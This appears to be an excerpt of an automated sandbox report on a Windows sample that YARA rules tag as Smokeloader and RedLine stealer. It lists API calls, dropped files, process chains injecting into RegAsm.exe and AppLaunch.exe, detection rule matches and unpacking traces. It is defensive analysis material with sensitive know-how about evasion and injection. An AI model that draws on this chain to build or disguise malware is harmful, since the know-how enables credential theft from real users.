Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004119B6	0_2_004119B6
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00410051	15_2_00410051
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_0040B8FD	15_2_0040B8FD
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_0040FB00	15_2_0040FB00
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004105A2	15_2_004105A2
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004119B6	15_2_004119B6
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0CB6B0	21_2_6F0CB6B0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0AC7B0	21_2_6F0AC7B0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0AA7E0	21_2_6F0AA7E0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0A6650	21_2_6F0A6650
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0C2D70	21_2_6F0C2D70
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F115DD2	21_2_6F115DD2
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0A8B30	21_2_6F0A8B30
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F0BA0C0	21_2_6F0BA0C0
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_01564248	21_2_01564248
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_01563908	21_2_01563908
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_01565B70	21_2_01565B70
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_01569270	21_2_01569270
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_015638F9	21_2_015638F9
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_061B0EB3	21_2_061B0EB3
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_061B2840	21_2_061B2840
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_061B2820	21_2_061B2820
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_061B0930	21_2_061B0930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040A878	22_2_0040A878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004090F8	22_2_004090F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004118B6	22_2_004118B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00432130	22_2_00432130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00421AC8	22_2_00421AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040EB6B	22_2_0040EB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0042FB78	22_2_0042FB78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00433300	22_2_00433300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00402BFC	22_2_00402BFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040E568	22_2_0040E568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0042353E	22_2_0042353E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040D60C	22_2_0040D60C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0041DE1F	22_2_0041DE1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00438ECD	22_2_00438ECD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00424750	22_2_00424750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00405F88	22_2_00405F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00416005	22_2_00416005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004138E4	22_2_004138E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004180FC	22_2_004180FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004388FE	22_2_004388FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004110B8	22_2_004110B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0044514F	22_2_0044514F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0042293A	22_2_0042293A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004539C4	22_2_004539C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00415999	22_2_00415999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040C1B2	22_2_0040C1B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043F270	22_2_0043F270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043BA15	22_2_0043BA15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00442A34	22_2_00442A34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0045AACE	22_2_0045AACE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004142CE	22_2_004142CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00414297	22_2_00414297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00416AB9	22_2_00416AB9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0042EB61	22_2_0042EB61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0045CB70	22_2_0045CB70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004193A5	22_2_004193A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00418BB3	22_2_00418BB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00419C21	22_2_00419C21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00420CCC	22_2_00420CCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0044D4D0	22_2_0044D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0041AD71	22_2_0041AD71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00445D13	22_2_00445D13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040B528	22_2_0040B528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00461E58	22_2_00461E58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0044DE2B	22_2_0044DE2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0041FE32	22_2_0041FE32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_004436F4	22_2_004436F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043C737	22_2_0043C737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0042DFE8	22_2_0042DFE8

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 21.0.6E11.exe.890000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor
Source: 0000000F.00000002.950991871.0000000002500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.900656340.0000000002320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000002.951015355.0000000002531000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.900699694.00000000023B7000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.951003696.0000000002510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\6E11.exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: String function: 6F1090D8 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0043EB30 appears 51 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004012AB NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004012AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401501 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401406 NtAllocateVirtualMemory,	0_2_00401406
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401413 NtAllocateVirtualMemory,	0_2_00401413
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401528 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401528
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040153C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040153C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004026CB NtClose,	0_2_004026CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014D8 NtAllocateVirtualMemory,	0_2_004014D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004012DC NtAllocateVirtualMemory,	0_2_004012DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004012EC NtAllocateVirtualMemory,	0_2_004012EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014F4 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004013FB NtAllocateVirtualMemory,	0_2_004013FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402698 NtClose,	0_2_00402698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004012AA NtAllocateVirtualMemory,	0_2_004012AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004012B4 NtAllocateVirtualMemory,	0_2_004012B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004013BA NtAllocateVirtualMemory,	0_2_004013BA
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004012AB NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_004012AB
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00401501 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401501
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00401406 NtAllocateVirtualMemory,	15_2_00401406
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00401413 NtAllocateVirtualMemory,	15_2_00401413
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00401528 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_00401528
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_0040153C NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_0040153C
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004026CB NtClose,	15_2_004026CB
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004014D8 NtAllocateVirtualMemory,	15_2_004014D8
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004012DC NtAllocateVirtualMemory,	15_2_004012DC
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004012EC NtAllocateVirtualMemory,	15_2_004012EC
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004014F4 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	15_2_004014F4
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004013FB NtAllocateVirtualMemory,	15_2_004013FB
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00402698 NtClose,	15_2_00402698
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004012AA NtAllocateVirtualMemory,	15_2_004012AA
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004012B4 NtAllocateVirtualMemory,	15_2_004012B4
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004013BA NtAllocateVirtualMemory,	15_2_004013BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040EB6B lstrcmpW,NtCreateFile,lstrlenW,lstrcatW,lstrcmpW,NtQueryDirectoryFile,lstrlenW,lstrcatW,lstrcmpW,lstrcmpW,lstrcmpW,lstrlenW,lstrcatW,lstrlenW,lstrcatW,lstrcatW,lstrcatW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,lstrcmpW,	22_2_0040EB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040E568 NtReadFile,	22_2_0040E568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0040D60C lstrcatW,lstrcatW,lstrcatW,lstrlenW,NtCreateFile,lstrlenW,	22_2_0040D60C

Source: file.exe, 00000000.00000002.900613863.0000000002284000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBujingle.exe2 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameBujingle.exe2 vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\aueuggs

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/11@89/12

Source: C:\Windows\explorer.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\aueuggs C:\Users\user\AppData\Roaming\aueuggs
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6E11.exe C:\Users\user\AppData\Local\Temp\6E11.exe
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDBC.exe C:\Users\user\AppData\Local\Temp\EDBC.exe
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 136
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6E11.exe C:\Users\user\AppData\Local\Temp\6E11.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EDBC.exe C:\Users\user\AppData\Local\Temp\EDBC.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\6E11.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\75b341f10c9579cbe1059d18f6f3b27b\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.tlb			Jump to behavior

Source: C:\Users\user\AppData\Roaming\aueuggs

Code function: 15_2_025CB897 CreateToolhelp32Snapshot,Module32First,

15_2_025CB897

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5064
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3912:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: C:\Users\Test\Desktop\LC2\LC2_servConf\Release\LC2.pdb source: 6E11.exe, 00000015.00000002.1048413965.000000000300E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: 6E11.exe, 00000015.00000002.1048474823.00000000045BA000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmp, 6E11.exe, 00000015.00000002.1049278689.0000000005890000.00000004.08000000.00040000.00000000.sdmp, 6E11.exe, 00000015.00000002.1048474823.0000000003F51000.00000004.00000800.00020000.00000000.sdmp, Protect544cd51a.dll.21.dr
Source:	Binary string: communication_program_compendium.pdb source: 6E11.exe, 00000015.00000000.1046466838.0000000000892000.00000002.00000001.01000000.00000008.sdmp, 6E11.exe.1.dr
Source:	Binary string: eex.pdb source: explorer.exe, 00000001.00000000.900048356.00007FFA11431000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Users\Test\Desktop\LC2\LC2_servConf\Release\LC2.pdbu source: 6E11.exe, 00000015.00000002.1048413965.000000000300E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: 6E11.exe, 00000015.00000002.1048474823.00000000044EC000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1048474823.0000000004678000.00000004.00000800.00020000.00000000.sdmp, 6E11.exe, 00000015.00000002.1049278689.000000000594A000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\aueuggs	Unpacked PE file: 15.2.aueuggs.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040264F push esi; iretd	0_2_00402660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402661 push esi; iretd	0_2_0040266F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402616 push esi; iretd	0_2_00402617
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004025EF push esi; iretd	0_2_00402608
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401EA4 push esp; retf	0_2_00401EA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409DFD push esp; iretd	0_2_00409E09
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_0040264F push esi; iretd	15_2_00402660
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00402661 push esi; iretd	15_2_0040266F
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00402616 push esi; iretd	15_2_00402617
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_004025EF push esi; iretd	15_2_00402608
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00401EA4 push esp; retf	15_2_00401EA7
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_00409DFD push esp; iretd	15_2_00409E09
